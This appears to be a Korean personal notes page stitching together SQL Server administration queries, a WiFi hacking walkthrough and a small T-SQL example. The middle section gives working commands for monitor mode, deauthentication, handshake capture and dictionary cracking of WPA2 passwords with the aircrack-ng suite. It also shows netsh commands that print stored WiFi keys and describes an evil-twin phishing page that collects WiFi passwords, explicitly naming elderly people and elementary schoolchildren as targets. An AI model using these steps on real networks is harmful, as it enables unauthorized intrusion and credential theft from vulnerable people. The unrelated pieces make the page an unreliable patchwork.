0) https://guide.ncloud-docs.com/docs/database-database-2-3 가이드 수행
1) 명령을 수행한 후 새롭게 생성되는 계정의 default 계정은 한글.
exec sp_configure 'default language', 29
reconfigure with override
2) 기존 계정의 경우, 아래 명령어로 수정.
USE [master]
GO
ALTER LOGIN [sa] WITH DEFAULT_DATABASE=[master], DEFAULT_LANGUAGE=[한국어]
GO
3) 언어 테이블에서 langid 29번의 lcid 값 확인
select * from sys.syslanguages
4) xp_msver의 값을 변경 하고자 하는경우
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQLServer\CurrentVersion
의 language 값을 변경한다. 1042 로 변경 (10진수)
--2019
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED
SELECT '01' OrderKey,'OS_MEMORY_TOTAL' MemType, physical_memory_kb PagesKB FROM SYS.DM_OS_SYS_INFO
UNION ALL
SELECT '02' OrderKey,'SQL_VISIBLE_TARGET_KB' MemType, visible_target_kb PagesKB FROM SYS.DM_OS_SYS_INFO
UNION ALL
SELECT '03' OrderKey,'SQL_COMMITTED_KB' MemType, committed_kb PagesKB FROM SYS.DM_OS_SYS_INFO
UNION ALL
SELECT '04' OrderKey,'OS_MEMORY_CLERKS_TOTAL' MemType, SUM(pages_kb) + sum(virtual_memory_committed_kb)+sum(awe_allocated_kb)+sum(shared_memory_committed_kb) PagesKB FROM SYS.DM_OS_MEMORY_CLERKS
UNION ALL
SELECT *
FROM
(
SELECT TOP 20 '04' OrderKey, type MemType, SUM(pages_kb) +sum(virtual_memory_committed_kb)+sum(awe_allocated_kb)+sum(shared_memory_committed_kb) PagesKB FROM SYS.DM_OS_MEMORY_CLERKS
GROUP BY TYPE
ORDER BY 3 DESC
) A
ORDER BY 1,3 DESC
-- lpim check
SELECT a.memory_node_id, node_state_desc, a.locked_page_allocations_kb
FROM sys.dm_os_memory_nodes a
INNER JOIN sys.dm_os_nodes b ON a.memory_node_id = b.memory_node_id
-- old version
--SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED
--SELECT '01' OrderKey,'OS_MEMORY_TOTAL' MemType, physical_memory_in_bytes/1024 PagesKB FROM SYS.DM_OS_SYS_INFO
--UNION ALL
--SELECT '02' OrderKey,'SQL_VISIBLE_TARGET_KB' MemType, bpool_visible * 8 PagesKB FROM SYS.DM_OS_SYS_INFO
--UNION ALL
--SELECT '03' OrderKey,'SQL_COMMITTED_KB' MemType, bpool_committed * 8 PagesKB FROM SYS.DM_OS_SYS_INFO
--UNION ALL
--SELECT '04' OrderKey,'OS_MEMORY_CLERKS_TOTAL' MemType, SUM(single_pages_kb) + sum(multi_pages_kb) + sum(virtual_memory_committed_kb)+sum(awe_allocated_kb)+sum(shared_memory_committed_kb) PagesKB FROM SYS.DM_OS_MEMORY_CLERKS
--UNION ALL
--SELECT *
--FROM
--(
--SELECT TOP 20 '04' OrderKey, type MemType, SUM(single_pages_kb) + sum(multi_pages_kb) +sum(virtual_memory_committed_kb)+sum(awe_allocated_kb)+sum(shared_memory_committed_kb) PagesKB FROM SYS.DM_OS_MEMORY_CLERKS
--GROUP BY TYPE
--ORDER BY 3 DESC
--) A
--ORDER BY 1,3 DESC
; with cte
as
(
select [timestamp] at time zone 'Korea Standard Time' kst, *
from t230614
)
select cast(duration / 1000. as int) milisec, *
from cte
where kst >= '2023-06-14 00:00:00.0000000 +09:00'
and statement like '%text%'
and name = 'sp_statement_completed'
order by kst
; with cte
as
(
select [timestamp] at time zone 'Korea Standard Time' kst, *
from t230614
)
select cast(duration / 1000. as int) milisec, *
from cte
where kst >= '2023-06-14 00:00:00.0000000 +09:00'
; with cte
as
(
select [timestamp] at time zone 'Korea Standard Time' kst, *
from [im0802]
)
, a as
(select cast(duration / 1000. as int) milisec, *
from cte
where kst >= '2024-08-02 09:00:26.4842673 +09:00'
and kst <= '2024-08-02 09:00:59.5437674 +09:00'
and name in (
'wait_info'
,'wait_info_external'
)
)
select wait_type, sum(duration) sum_duration
from a
group by wait_type
order by 2 desc
; with cte
as
(
select [timestamp] at time zone 'Korea Standard Time' kst, *
from [im0802]
)
select cast(duration / 1000. as int) milisec, *
from cte
where kst >= '2024-08-01 08:00:26.4842673 +09:00'
and kst <= '2024-08-02 11:00:59.5437674 +09:00'
and name in (
'rpc_completed'
,'sql_batch_completed'
,'sp_statement_completed'
,'sql_statement_completed'
)
and statement like '%aaa%'
order by 2
우선 공격 도구로는 kali linux 가 필요하다. 노트북에 직접 설치된 kali linux는 ip a 나 iwconfig를 쳐보면 바로 wifi로 인식한다. 하지만, vmware나 virtual box 같은 가상화 도구를 쓰면, 외부 usb wifi 어댑터가 하나 필요하다. 가상화에서 pci로 연결된 wifi는 가상화 OS에서는 무선 인터넷으로 취급되지 않는다. bridge 모드로 해도 무선랜 모드로 되지 않는다. 왜 그런지는 모르겠다. 2010년대에 나온 어떤 소스로 인식은 시켜 봤는데 안되더라.
먼저 내 윈도우에 저장된 무선 wifi 암호는 아래 명령어로 확인 가능하다. bani 가 확인 대상이다. 이렇게 저장되어 있으니 공격자가 공격 패킷을 보내면, 장비가 다시 붙을려고 handshake 를 자동으로 수행한다.
netsh wlan show profiles
netsh wlan show profile bani key=clear
아래 부터는 해킹인데, 뭐 그냥 스크립트 키드들이 주로 하는 방법이다. 재미로 봐라.
먼저 virtual box를 설치하고, kali linux 사이트에서 virtual box 이미지를 받아 설치한다. 이후 랜카드를 잡아야 하니 아래와 같은 삽질을 한다. apt-get install dkms 에러가 난다면 /etc/apt/sources.list를 수정한다. (아래 참고)
deb http://http.kali.org/kali kali-rolling main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali sana main non-free contrib
# deb-src http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
# For source package access, uncomment the following line
# deb-src http://old.kali.org/kali moto main non-free contrib
rtl88x2bu driver REALTEK의 RTL88x2B 기반 USB 무선랜카드의 드라이버 설치 파일이다. RTL88x2B USB 무선랜카드를 사용하려면 rtl88x2bu-git.tar 드라이버를 설치해야한다. 알아서 설치 하시고..
기본 해킹 방법
# wifi 가 monitoring 모드여야 한다. 아래 명령어로 현재 상태 확인
iwconfig
# 모니터링 모드로 들어가기
airmon-ng check kill
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
# airmon-ng start wlan0
# (ifconfig wlan0 up 과 같음)
# 모드 확인
iwconfig
# 전체 덤프 후 공격 대상 선별 (신호가 크고, WPA2는 클라이언트가 있어야 해킹이 가능)
airodump-ng wlan0
-c 채널 --bssid 가 공격대상 bssid -w 아웃풋 경로 마지막이 usb wifi 디바이스 명
airodump-ng -c 6 --bssid AC:9E:17:72:AF:40 -w /home/kali/Desktop/ wlan0
# deAuth 를 해서 공격대상 AP 와 클라이언트가 핸드쉐이크 하도록 한다.
aireplay-ng -0 10 -a AC:9E:17:72:AF:40 bani
# 이제 위에 airodump-ng 해서 핸드쉐이크 패킷이 잡혔다고 뜬다.
# 사전 공격 (학습이니 pass.txt 에 암호가 들어있게 만들어준다.)
# 캡처된 패킷과 암호가 맞으면 키를 찾았다고 뜬다.
aircrack-ng -w ./pass.txt ./Desktop-02.cap
aircrack-ng -w ./pass.txt ./-02.cap
aircrack-ng -w /usr/share/dict/wordlist-probable.txt /home/kali/Desktop/hs/handshake_ollehWiFi09A1_08-5D-DD-8A-09-A5_2023-05-06T18-56-00.cap
아래와 같이 dictionary attack 이 성공할 수도 있지만 사전이 좋아야 한다. 사전은 github에 공개된 것이 많다.
위 설명은 그냥 기본적인 설명이고 지루하고 타이핑을 많이 해야 한다. 그래서 python 자동화 공격 도구가 있는데 wifite2 정도가 있다. 일단 이것으로 시작해 패킷을 뜨면 저 위 handshake 패킷 까지는 자동으로 얻어진다. 아래는 암호까지 자동으로 다 크랙된 결과 스크린샷이다. (극적으로 보이게 하려고 암호를 워드 리스트에 추가했다. )
wifite 기본 사전파일 경로는 아래와 같다 . 과거 ap 의 기본 패스워드를 넣어두자.
아래 예제는 예전 특정 ap 기본 암호가 10자리 숫자였던 적이 있다. 그런 경우를 가정해 계산해 보니 내 노트북으로는 처음부터 넣으면, 10자리 암호는 약 23일이 걸리는 것을 알 수 있었다. 그런데, 해당 wifi 시리얼은 출시 연도부터 시작하는 것을 알고 있으니 좀 더 시간을 줄일 수 있기는 하다.
그런데, 우리 집에는 3080 그래픽 카드가 있다. 이걸로 풀면 훨씬 빠르다. 그러나, 이렇게 무식하게 풀지 말고 좀 더 현명?하게 하는 방법이 있다. "너의 wifi ap 펌웨어 업데이트가 필요해 업데이트 하려면 wifi 암호를 넣어줘! 라고 wifi 연결된 클라이언트가 어떤 사이트 이던 들어가면 나오게 만드는 것이다." 그래 피싱이다. 피싱에서 가장 많이 쓰는 프로그램은 fluxion 인 듯 하다. 다른 애플리케이션도 있어 보인다. 이 어플은 자동으로 handshake packet을 잡고 fake ap를 만들어주고 web 서버 및 db 서버까지 자동으로 설정해 준다. 구동 시키고 사용자가 이게 뭐지? 펌웨어 업데이트하는데 암호를 넣으라는 건가? 하고 자기 wifi 암호를 입력해주면 입력한 암호가 해커의 db에 저장되는 방식이다. 나이가 지긋하신 분이나 초등학생들은 이런 지식이 없고 암호를 외우고 있는 경우가 가끔 있다. 이분들이 대상이다.
if object_id('tblx') is not null
drop table tblx
go
create table tblx (idx int identity(1,1))
go
insert into tblx default values;
go 10
select *
from tblx
where idx in
(
select cast(value as int)
from string_split('2,3', ',')
)
go